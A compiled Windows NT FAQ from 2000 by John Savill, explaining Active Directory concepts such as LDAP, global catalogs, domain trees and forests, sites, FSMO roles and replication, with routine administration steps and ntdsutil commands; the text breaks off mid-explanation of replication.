Windows NT Frequently Asked Questions (FAQ)

Updated - 10th April 2000

This is a compiled version of the Windows NT FAQ web site, http://www.ntfaq.com, and is a fully searchable help file with all the functionality of any normal help file.

An updated version will be released at the same time the web site it updated and can be downloaded from the Windows NT FAQ web site at http://www.ntfaq.com/ntfaq.chm.

This FAQ is copyright © 2000 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Q. What is the Active Directory?

A. The Active Directory is Microsoft's implementation of a 'Directory Service' and a directory service is basically something that stores data in an organized format and has the mechanisms needed to publish and access the data.

Active Directory is not a Microsoft innovation, but rather an implementation of an existing model (X.500), an existing communication mechanism (LDAP) and an existing location technology (DNS), and each of these are covered in the FAQ.

Before the details of Active Directory are considered, it is important to have an overview of what it is trying to achieve. A directory in its most basic sense is just a container for other information, such as a telephone directory has various entries, and each entry has values. An example would be a name, address and telephone number that would make up a single entry in the directory.

Name: John Savill
Address: 2 SavTech Way, (yeah right :-))
London
Tel: 353 3523
E-mail: john@serverfaq.com

In a large directory these entries may be grouped by location or by their type, e.g. lawyers, pest control, etc, or both which would lead to a hierarchy of each type of person in each location. The actual telephone directory would be a directory service as it contains not only the data but also a means to access and use it. The telephone operator would also constitute a directory service as it has access to the data and presents it to you where you can request data and an answer to your query is given.

Active Directory is a type of Directory Service, it holds information about all resources on the network and clients can query the Active Directory for information about any aspect of the network. Active Directory has a number of powerful features:

  • Information is stored in a secure form - each object in the Active Directory has an Access Control List (ACL) which has a list of resources that may access it and to what degree.
  • A flexible mechanism for queries based on a global catalog that is generated by the Active Directory. Any client that supports Active Directory can query the catalog.
  • Replication of the directory to all Domain Controllers in the domain means easier accessibility, higher availability and fault tolerance
  • Extensible design means new object types can be added to the directory or existing objects built on. For example a salary attribute could be added the user object.
  • Communication can be carried out over a number of protocols due to its X.500 foundation. These include LDAP version 2 and 3, and the HTTP
  • Domain Naming System (DNS) used for the naming and location of domain controllers rather that NetBIOS names
  • Information is partitioned in the Directory by domain to avoid replicating excessive amounts of information

The last point regarding partitioning the information in the Directory into different stores does not mean that the Active Directory cannot be queried for information from other domains. Global catalogs are used which contain information about every object in the enterprise forest allowing forest wide searches.

This FAQ is copyright © 1997-2000 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Q. A number of Active Directory descriptions?

Q. A number of Active Directory descriptions.

A. Below are some definitions for the active directory:

ONE SENTENCE SUMMARY OF DNS AND ACTIVE DIRECTORY:

A dns server is used by a client to provide the address of the client's nearest domain controller, which has a copy of Active Directory, which the client then uses to locate whatever object it's looking for.

ONE PARAGRAPH SUMMARY OF DNS AND ACTIVE DIRECTORY:

First a client contacts a dns (domain name system) server which looks up the client's domain, and provides him with the address of the closest dc in that domain. The client proceeds to contact the dc which can then authenticate him. Once authenticated, the client can search Active Directory (a database on the dc) to find objects the client is looking for, like an address for mail, a file, printer, or list of users in a group, etc. If the client cannot contact a dns server, it won't be able to find its domain controller, since only the dns server has the address of it.

ONE PAGE SUMMARY OF DNS AND ACTIVE DIRECTORY:

When dcpromo is performed on a W2K machine named, say, "fido" for the first time creating a new domain, say, "narnia", dcpromo creates two different kinds of "domains". First it creates a domain on the dns server, in our example: "narnia.extest.microsoft.com". This will be found on the extest dns servers, which are in exlab's minilab in bldg 43. Exlab maintains these as community dns servers to save testers the trouble of installing a dns server every time they want to install W2K. Simplified a little, the dns domain on the extest master dns servers looks like this:

extest.microsoft.com
    narnia.extest.microsoft.com
        bigthud dc 172.30.224.34
        blackie dc 172.20.32.13
        etc. (this is very approximate, but functionally identical)

Clients contact the dns server and it looks up the client's domain. Looking for "narnia" the dns server also discovers "bigthud" and "blackie", both dc's of "narnia". Let's say "bigthud" is the closest dc to the client. The dns server would send the client the address of the dc "bigthud", namely, 172.30.224.34. The client connects and accesses the Active Directory domain database stored on "bigthud" to find objects (like printers, file servers, users, groups, organizational units, etc) in the "narnia" domain. "bigthud" also stores links to other domains in the tree "com". Thus, the client can search a whole tree of domains.

If the search needs to go beyond the client's tree of domains, then a version of Active Directory listing the objects in the whole forest is also available. It is called the Global Catalog. The GC can be kept on any dcs in the forest you may choose, or all, but it does not have to be kept on all.

GC is a shorthand way to access an object ANYWHERE in the forest, but it only provides a few of its attributes, you have to go to the domain AD (always on a dc in that domain) to get the whole object. The GC can be configured to provide whatever object attributes you choose, too, not just a rigid default set of them.

To help in creating objects in AD, the dc also keeps a copy of the classes and hierarchy of classes for the whole forest, too. For example, if we had a class of "baseball players", and a derived class "pitchers" (which is just a player with a few records added of strikeouts and no-hitters, etc) then the class structure would be kept in AD in the part called the "Schema". If we then created an actual group of players we would use our Schema classes to make the players as objects (instances of the classes) in Active Directory. We can also add more classes, eg: "football players" and "quarterbacks" to the Schema, and we call that freedom an "extensible Schema".

The schema is a part of the W2K "configuration namespace" kept on all dcs in a forest. A namespace is a range of labels you put on things, eg: a supermarket "aisle" namespace: aisle=cookies, shelf=top, item=oreo. The configuration namespace in W2K consists of a number of defined items such as physical locations, W2k "sites" (a site is a child of a forest, and can contain machines from any domain, only condition being that all machines in a site have fast reliable net connections for dc replication), and "subnets" which are IP address groupings assigned to sites which help further speed up AD replication amongst dc's, eg: "your dc rocks if it's in the IP subnet and W2K site where its friends are".

Active Directory employs LDAP (Lightweight Directory Access Protocol, a standard Internet protocol that many applications use) to access its records. Why? Because its records are STORED on the dc in "LDAP distinguished name format". But what is LDAP distinguished name format? In the following LDAP distinguished name format example "fred" is a user in the "programming" organizational unit in "narnia" domain in "extest" domain in "microsoft" domain in "com" domain:

cn=fred,ou=programming,dc=narnia,dc=extest,dc=microsoft,dc=com

where cn stands for common name, ou stands for organizational unit, and dc in this case stands for "domain component", NOT domain controller. This is how "fred" appears in Active Directory, and a client such as an administrator can access attributes about fred using that syntax, assuming the client has security permissions to do so.

The client's actions are straightforward, as long as the client talks LDAP to Active Directory. However, an action may be done from a client running an application that uses a different name format. To support this, there are two other name formats that can be used (with a little translating) to access Active Directory:

1. "LDAP URL":
Example:
LDAP://server1.narnia.extest.microsoft.com/cn=fred,ou=programming,dc=narni a,dc=extest,dc=microsoft,dc=com.

2. "Active Directory Canonical name":
Example:
narnia.extest.microsoft.com/programming/fred. This last one, "Active Directory Canonical name" is what you'll see in user interfaces in W2K.


Q. What is X.500 and LDAP?

A. X.500 is the most common protocol that is used for Directory Management and there are currently 2 main standards, the 1988 and 1993 standards with the 1993 standard providing a number of advances over the older standard. The Windows NT 5.0 implementation of its Directory Services is derived from the 1993 X.500 standard as described below.

The X.500 model uses a hierarchical approach to the objects in the name space with a root at the top of the namespace with children coming off of it. Domains in Windows 2000 are DNS names, for example savilltech.com is a domain name, legal.savilltech.com is a child domain of savilltech.com. Child domains are covered elsewhere.

The example shows a root of the directory service and then a number of children. In this case the first layer or children represent countries, however there are no rules and you may break these down however you want. Imagine each country as a child domain of the root, for example usa.root.com and england.root.com. Each child domain can then be broken into a number of organizations. These organizations can be broken down further into organizational units and various privileges/policies can be applied to each Organization unit. Each Organizational Unit has a number of objects such as users, computers, groups etc.

While the directory service is based on X.500, the access mechanism actually uses LDAP (Lightweight Directory Access Protocol) which solves a number of problems with X.500.

X.500 is part of the OSI model however this does not translate well into a TCP/IP protocol environment so LDAP uses TCP/IP for its communication medium. LDAP cuts down on the functions available with a full X.500 implementation making a leaner faster directory service while keeping the overall structure of X.500.

LDAP is actually the mechanism used to communicate with the Active Directory and performs basic read, write, and modify operations.

More on X.500 can be found at http://www.salford.ac.uk/its024/X500.htm


Q. What is the Global Catalog?

A. The Global Catalog contains an entry for every object in the enterprise forest (the term forest is explained later) but contains only a few properties of each object. The entire forest shares a global catalog with multiple servers holding copies. Searches in the whole enterprise forest can only be done on the properties in the Catalog where as searches in the users own domain tree can be for any property. Only Directory Services (or Domain Controllers) can be configured to hold a copy of the Global Catalog.

Do not configure too many global catalogs in each domain, as you will waste network bandwidth with the replication. One global catalog server per domain in each physical location is sufficient, however NT will set servers as Global Catalogs as it thinks are necessary so there should be no need for you to modify this unless you notice slow query response times.

Since full searches involve querying the whole domain tree rather that the global catalog, grouping the enterprise into a single tree will improve your searches as it will allow you to query on items not in the global catalog, thus a larger search criteria.


Q. How do I configure a server as a Global Catalog?

A. To configure a Windows 2000 domain controller as a global catalog server perform the following:

  1. Start the Active Directory Sites and Services Manager (Start - Programs - Administrative Tools - Active Directory Sites and Services Manager)
  2. Select the sites branch.
  3. Select the site that owns the server, expand the servers branch and the server in question
  4. Right click on "NTDS Settings" and choose Properties
  5. Check or uncheck the "Global Catalog Box". Click Apply then OK


Q. What is the Schema?

A. The Schema is a blueprint of all objects in the domain and when first created a default Schema exists which contains definitions for users, computers, domains etc. Because of this, you can only have one schema per domain as you cannot have multiple definitions of the same object.

The default schema definition is defined in the SCHEMA.INI file that also contains the initial structure for the NTDS.DIT (storage for the Directory data). This file is located in the %systemroot%\ntds directory. This file is a plain ASCII format file and can be typed out.


Q. What is a domain tree?

A. In Windows 2000 one domain can be a child of another domain, e.g. child.domain.com is a child of domain.com (a child domain always has the complete domain name of the parent in it), and a child domain and its parent share a two way transitive trust.

When you have a domain as a child of another, a domain tree is formed. A domain tree has to have a contiguous name space.

Tree
Notice in the second diagram the lack of contiguous names means they are not part of the tree

The name of the tree is the root domain name, so in the example the tree would be referred to as root.com. Since the domains are DNS names and inherit the parent part of the name, if a part of the tree is renamed, then all of its children will implicitly also be renamed, for example if parent ntfaq.com of sales.ntfaq.com was renamed to backoffice.com the child would be renamed to sales.backoffice.com. This is not actually currently possible though.

Domain trees can currently only be created during the server to Domain Controller promotion process with DCPROMO.EXE, this may change in the future.

There are a number of advantages in placing domains in a tree. The first and most useful is that all members of a tree have kerberos transitive trusts with its parent and all its children. These transitive trusts also mean that any user or group in a domain tree can be granted access to any object in the entire tree. This also means that a single network logon can be used at any workstation in the domain tree.


Q. What is a domain forest?

A. You may have a number of separate domain trees in your organization that you would like to share resources and this can be accomplished by joining trees to form a forest.

A forest is a collection of trees that do not have to form a contiguous name space (however each tree still has to be contiguous). This may be useful if your company has multiple root dns addresses.

As can be seen from the example, the two root domains are joined via a transitive, two-way Kerberos trusts as in the trust created between a child and its parent. Forests always contain the entire domain tree of each domain and it is not possible to create a forest containing only parts of a domain tree.

Forests are created during the server to Domain Controller promotion process with DCPROMO and can currently not be created at any other time, this will change in the next version.

You are not limited to only 2 domain trees in a forest, you can add as many trees as you want and all domains within the forest will be able to grant access to objects for any user within the forest. Again this cuts back on having to manually manage the trust relationships. The effect of creating a forest is the following:

  • All trees have a common Global Catalog containing specific information about every object in the forest
  • The trees all contain a common schema. Microsoft has not yet confirmed the action if 2 trees have difference schemas before they are joined. I assume the changes will be merged
  • Searches in a forest will perform a deep search of the entire tree of the domain the request is initiated from and use the Global Catalog entries for the rest of the forest

You may of course choose not to join trees to become a forest and may instead create normal trusts between individual elements of the tree's.


Q. What is a Kerberos trust?

A. Windows NT 4.0 trust relationships are not transitive so if domain2 trusts domain1, and domain3 trusts domain2, domain3 does not trust domain1.

This is not the case with the trust relationships used to connect members of a tree/forest in Windows 2000, trust relationships used in a tree are two-way, transitive Kerberos trusts which means any domain in a tree implicitly trusts every other domain in the tree/forest. This removes the need for time-consuming administration of the trusts as they are created automatically when a domain joins a tree.

Kerberos is the primary security protocol for Windows NT. Kerberos verifies both the identity of the user and the integrity of the session data. The Kerberos services are installed on each domain controller, and a Kerberos client is installed on each Windows NT workstation and server. A user's initial Kerberos authentication provides the user a single logon to enterprise resources. Kerberos is not a Microsoft protocol and is based on version 5.0 of Kerberos. For more information see IETF RFCs (Requests For Comments) 1510 and 1964. These documents are available on the web from http://www.isi.edu/rfc-editor/rfc.html.


Q. How do I create a new Active Directory Site?

A. Active Directory has the concept of sites which can be used to group servers into containers which mirror the physical topology of your network, and allow you to configure replication between domain controllers (among other things). A number of TCP/IP subnets can also be mapped to sites which the allow new servers to automatically join the correct site depending on their IP address and for clients to easily find a domain controller closest to them.

When you create the first domain controller a default site, Default-First-Site-Name is created to which the domain controller is assigned. Subsequent domain controllers are also added to this site however they can then be moved. This site can be renamed if you wish.

Sites are administered and created using the "Active Directory Sites and Services Manager" MMC snap-in. To create a new site perform the following:

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services Manager)
  2. Right click on the Site branch and select New - Site from the displayed context menu
  3. Enter a name for the site, e.g. NewYork. The name must be 63 characters or less and cannot contain . or space characters. You must also select a site link (by default there will only be one, DEFAULTIPSITELINK or type IP).
  4. Click OK

Now the site is created you can assign various IP subnets to it as follows:

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services Manager)
  2. Expand the Sites branch
  3. Right click on Subnets and select New - Subnet
    New subnet
  4. You used to have to enter the name of subnet of the form <network>/<bits masked>, e.g. 200.200.201.0/24 would be network 200.200.201.0 with subnet mask 255.255.255.0. This proved to complicated so you now just enter the address and mask. Select the Site to associate the subnet with, e.g. Australia.
  5. Click OK

You now have a subnet linked to a site. You can assign multiple subnets to a site if you wish.

If you are confused about the bits masked in the subnet name it can be between 22 and 32 and is just the number of bits set in the subnet mask. The subnet mask is made up of 4 sets of 8 bits. To convert the subnet mask to bits you can use the illustration below.

Therefore the subnet mask 255.255.255.0 would be 11111111.11111111.11111111.00000000 in binary which therefore uses 8+8+8 bits (24) to define the subnet mask. A subnet mask of 255.255.252.0 would be 11111111.11111111.11111100.00000000 which is 8+8+6 or 22.

Once you have multiple sites defined new domain controllers created via DCPROMO will automatically join the site that matches their IP address. In the event of their not being a site for their IP subnet they will join the same site that authorized its promotion.


Q. How do I move a server to a different site?

A. If your sites and subnets are configured then new servers will automatically get added to the site that owns the subnet however you can also manually move a server to a different site:

  1. Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services Manager)
  2. Expand the Sites container.
  3. Expand the site that currently contains the server, expand the Servers container
  4. Right click on the server and select Move from the context menu
    Move server
  5. You will be shown a list of all sites. Select the new target site and click OK

The move will take immediate effect.


Q. How can a server belong to more than one site?

A. By default a server will belong to one site however you may want to configure a server to belong to multiple sites.

Bear in mind sites are used for replication, for clients to find resources and to cut down on traffic on inter-site connections so just modifying the site membership may cause performance problems.

To configure a server to have multiple site membership perform the following:

  1. Logon to the server who should join multiple sites
  2. Start the registry editor (regedt32.exe not regedit.exe)
  3. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesNetlogon\Parameters
  4. Select "Add Value" from the Edit menu
  5. Enter a name of SiteCoverage and of type REG_MULTI_SZ. Click OK
  6. Enter the names of the sites to join, each on a new line, e.g.
    Australia
    London
    Press Shift-Enter to move to the next line. Click OK
  7. Close the registry editor

The above does not create the objects in the Active Directory to evaluate the sites and these need to be added manually.


Q. How can I backup the Active Directory/System State?

A. The Active Directory is backed up using the NTBACKUP.EXE utility. The Active Directory is part of the machines System State which is defined as follows:

For all Windows 2000 machines the System State includes the registry, class registration database and the system boot files. For a Windows 2000 Server that is a certificate server it also contains the Certificate Services database. Finally for a Windows 2000 machine that is a domain controller it includes the Active Directory and the SYSVOL directory also.

To backup the System State using the Backup Wizard perform the following:

  1. Start NTBACKUP.EXE
  2. NTBACKUP.EXE will start in the Welcome screen. Click the 'Backup Wizard' button
  3. Click Next to the introduction dialog
  4. In the dialog that asks what to backup select 'Only back up the Distributed Service Set' and click Next
  5. You should then continue as per normal by selecting the backup media etc.

If you don't want to use the wizard it can be manually backed up as follows:

  1. Start NTBACKUP.EXE
  2. Select the Backup tab
  3. Check the 'System State' box (and any other drives)
    Active Directory Backup
  4. Select the backup destination
  5. Click 'Start Backup'
  6. Confirm the backup description and click 'Start Backup'
  7. The backup will then begin

To backup only the System State from the command line use the command

C:\> ntbackup backup systemstate /f d:\active.bkf

Of course this is the most basic backup to file and you can use more complex options.


Q. How can I restore the Active Directory?

A. The Active Directory cannot be restored to a domain controller while the Directory Service is running so to restore perform the following:

  1. Reboot the computer
  2. At the boot menu select "Windows 2000 Server" but do NOT press Enter. Press F8 for advanced options
    OS Loader V5.0

    Windows NT Advanced Options Menu
    Please select an option:

      Safe Mode
      Safe Mode with Networking
      Safe Mode with Command Prompt

      Enable Boot Logging
      Enable VGA Mode
      Last Known Good Configuration
      Directory Services Restore Mode (Windows NT domain controllers only)
      Debugging Mode

    Use | and | to move the highlight to your choice.
    Press Enter to choose.
  3. Scroll down and select "Directory Services Restore Mode (Windows NT domain controllers only)"
  4. Press Enter
  5. You will be taken back to the boot menu and now press Enter to Windows 2000 Server (notice at the bottom of the screen in red the text 'Directory Services Restore Mode (Windows NT domain controllers only)' will be shown)

The computer will boot into a special safe mode and will not start the Directory Service. Be warned that during this time the machine will not act as a domain controller and will perform not perform authentication etc.

  1. Start NTBACKUP.EXE
  2. Select the Restore tab
  3. Select the backup media and select "System State"
  4. Click 'Start Restore'
  5. Click OK to the confirmation

Once you have restored the backup reboot the computer and start in normal mode to start using the restored information. You may find a hang after the restore has completed and I found a 30 minute wait on some machines.


Q. What are the FSMO roles in Windows 2000?

A. In Windows 2000 all domain controllers are equal and through a process known as multi-master replication changes are replicated to all domain controllers in the domain. However in keeping with George Orwell's Animal Farm some Domain Controllers are more equal than others.

Multi-master replication resolves conflicts however in some situations it is better to stop the conflict before it happens and to this end there are five difference Flexible Single Master of Operations (FSMO) roles (formally known as Floating Single Master of Operations as the roles were originally going to be dynamically changeable) each managing an aspect of the domain/forest. These roles can be moved between domain controllers but not dynamically, they must be manually moved in the same manner as a BDC has to be manually promoted to a PDC.

There are two types of roles, some are per domain, some are per forest. Only a domain controller in the domain can hold a domain specific FSMO role, any domain controller in the forest can hold a forest FSMO role. Domain controllers cannot hold FSMO roles in other domains/forests.

These roles are assigned in different GUI ways or using the NTDSUTIL utility.

The five roles are defined below:

Role name | Description | Per domain/forest
Schema master | At the heart of the Active Directory is the schema which is like the blueprint of all objects/containers. Since the schema has to be the same throughout the entire forest only one machine can authorize modifications to the schema. | One per forest
Domain naming master | To add a domain to the forest its name has to be verifiably unique and so the Domain naming master FSMO's of the forest is contacted to authorize the domain name operation. | One per forest
RID master | Any domain controller can create new objects (such as a user, group, computer account) however after creating 512 user objects the domain controller must contact the domains RID master for another 512 RID's (it actually contacts when it has less than 100 RID's left, this means the RID master can be unavailable for short periods of time without causing object creation problems). This is to ensure each object has a unique RID. When a DC creates a security principal object it attaches a unique SID to the object. The SID is created using the domain SID and a relative ID (the RID). The RID master has to be available when attempting to move objects between domains with the resource kit movetree utility. | One per domain
PDC emulator | For backwards compatibility reasons one domain controller in each 2000 domain must emulate a PDC for the benefit of 4.0 and 3.5 domain controllers and clients. | One per domain
Infrastructure master | When a user and group are in different domains there can be a lag between changes to the user (e.g. name) and its display in the group. The infrastructure master of the groups domain is responsible for fixing up the group-to-user reference to reflect the rename. The infrastructure master performs is fixups locally and relies upon replication to bring all other replicas of the domain up to date. | One per domain

The PDC emulator also has some special roles even in native mode:

  • failed authentication requests
  • for downlevel clients who issue a change which would normally go to the PDC in a NT4.0 domain (password, etc).
  • focus of best effort push of password changes an account lockouts.
  • timeserver clients contact DC, DC contacts PDC emulator, PDC emulator contacts PDC on level up, PDC emulator root domain could use SNTP to contact an atomic internet clock.
  • focus of group policies, if you edit or create group policy you will contact the PDC, if this one isn't there you will get the choice to select an other DC.


Q. How can I change the RID master FSMO?

A. The RID master is defined here.

To modify the role perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in on the Domain Controller (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. In the left hand pane right click on the domain and select 'Connect to Domain Controller'
  3. Select the domain controller you wish to make the FSMO role owner and click OK.
    Change Domain Controller
  4. Right click on the domain again and select 'Operations Masters' from the context menu
  5. Select the 'RID Pool' tab
  6. The current machine holding the RID master FSMO role will be shown. To change click 'Change..'
    RID master
  7. Click OK to the confirmation dialog.
  8. A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility. Enter the commands it bold

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer rid master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit


Q. How can I change the PDC emulator FSMO?

A. The PDC emulator is defined here.

To modify the role perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in on the Domain Controller (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. In the left hand pane right click on the domain and select 'Connect to Domain Controller'
  3. Select the domain controller you wish to make the FSMO role owner and click OK.
    Change Domain Controller
  4. Right click on the domain again and select 'Operations Masters' from the context menu
  5. Select the 'PDC' tab
  6. The current machine holding the PDC emulator FSMO role will be shown. To change click 'Change..'
    PDC Emulator
  7. Click OK to the confirmation dialog.
  8. A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility. Enter the commands it bold

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer pdc

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit


Q. How can I change the Infrastructure master FSMO??

A. The Infrastructure master is defined here.

To modify the role perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in on the Domain Controller (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. In the left hand pane right click on the domain and select 'Connect to Domain Controller'
  3. Select the domain controller you wish to make the FSMO role owner and click OK.
    Change Domain Controller
  4. Right click on the domain again and select 'Operations Masters' from the context menu
  5. Select the 'Infrastructure' tab
  6. The current machine holding the Infrastructure FSMO role will be shown. To change click 'Change..'
    Infrastructure FSMO
  7. Click OK to the confirmation dialog.
  8. A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility. Enter the commands it bold

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer infrastructure master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit


Q. How can I change the Domain naming master FSMO?

A. The Domain naming master is defined here.

To modify the role perform the following however make sure the machine is a global catalog:

  1. Start the Active Directory Domains and Trusts MMC snap-in on the Domain Controller (Start - Programs - Administrative Tools - Active Directory Domains and Trusts)
  2. In the left hand pane right click on 'Active Directory Domains and Trusts' and select 'Connect to Domain Controller' from the context menu
  3. Enter the domain controller to connect to.
    Change DC
  4. Right click on 'Active Directory Domains and Trusts' and select 'Operations Master' from the context menu
  5. The current machine holding the Domain name operations FSMO role will be shown. To change click 'Change..'
    Operations master
  6. Click OK to the confirmation dialog.
  7. A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility. Enter the commands it bold

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer domain naming master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit


Q. How can I change the Schema master FSMO?

A. The Schema master is defined here.

To modify the role perform you must use the 'Active Directory Schema Manager' and you must first register the .dll for the MMC snap-in

C:\> regsvr32 schmmgmt.dll

You can now start the Schema Manager via the Resource Kit Tools console or by creating a custom MMC and add the Active Directory Schema snap-in to it (Start - Run - MMC - Console menu - Add/Remove Snap-in - Add - Active Directory Schema - Add - Close - OK)

  1. Start the Active Directory Schema MMC snap-in on the Domain Controller (using on of the methods above)
  2. In the left hand pane right click on 'Active Directory Schema' and select 'Change Domain Controller' from the context menu
  3. Enter the domain controller to connect to.
    Change DC
  4. Right click on 'Active Directory Domains Schema' and select 'Operations Master' from the context menu
  5. The current machine holding the Domain name operations FSMO role will be shown. To change click 'Change..'
    Schema Master Change
    You can also set the registry to allow changes to the Schema by checking the Schema modification box. Also notice this machine is already the schema master.
  6. Click OK to the confirmation dialog.
  7. A dialog confirming the role change will be displayed.

To modify the role from the command line enter the commands in bold

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer schema master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites ,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit


Q. What is Multi-master replication?

A. In a Windows 2000 domain, all domain controllers are equal which means changes can be made on ANY domain controller and each servers complete domain directory has to be kept up-to-date with each other through a process of multi-master replication.

Each time a change is made to the Active Directory the servers Update Sequence Number, or USN, where the change is implemented is incremented by one and this USN is also stored along with the change to the property of the object modified. These changes have to be replicated to all domain controllers in the domain and the Update Sequence Number provides the key to the multi-master replication.

Update Sequence Number increments are atomic in operation which means that the increment to the USN and the actual change occurs simultaneously, if one part fails the whole change fails which means its not possible for a change to be made without the USN to be incremented, which means changes will never be "lost". Each domain controller keeps track of the highest USN's of the other domain controllers that it replicates with so it can calculate which changes it needs to be replicated on each replication cycle.

At the start of the replication cycle each server checks its Update Sequence Number table and then queries the domain controllers it replicates with for their latest USN's. For example the table below represents the USN table for server A

DC B | DC C | DC D
54 | 23 | 53

Server A then queries the domain controllers for their current USN's and gets the following:

DC B | DC C | DC D
58 | 23 | 64

From this server A can calculate the changes it needs from each server:

DC B | DC C | DC D
55,56,57,58 | Up-to-date | 54-64

It would then query each server for the changes needed.

It is possible for multiple changes to the same property of an object to occur, and collisions are detected via a Property Version Number (PVN) which every property has. These work like the USN's and each time a property is modified, the PVN is incremented by one.

In the event of a modification to the same property of the same object then the change with the highest PVN takes precedence, and if the PVN's are the same for a property update then a collision has occurred. If the PVN's match then the time stamp is used to resolve any conflicts. Each change is time stamped and this highlights the need for the domain controllers time to be accurate with one-an-other. In the highly unlikely event that the PVN's match AND the time stamp is the same then a binary buffer comparison is carried out with the larger buffer size change taking precedence. Property Version Numbers are only incremented on original writes and not on replication writes (unlike USN's) and are not server specific but rather travels with the property.

A propagation-dampening scheme is also use to stop changes being repeatedly sent to other servers which already have the change and to this end each server keeps a table of up-to-date vectors which are the highest originating writes that are received from each controller and take the form of:

<the change>,<domain controller making the original change>,<USN of the change>

For example

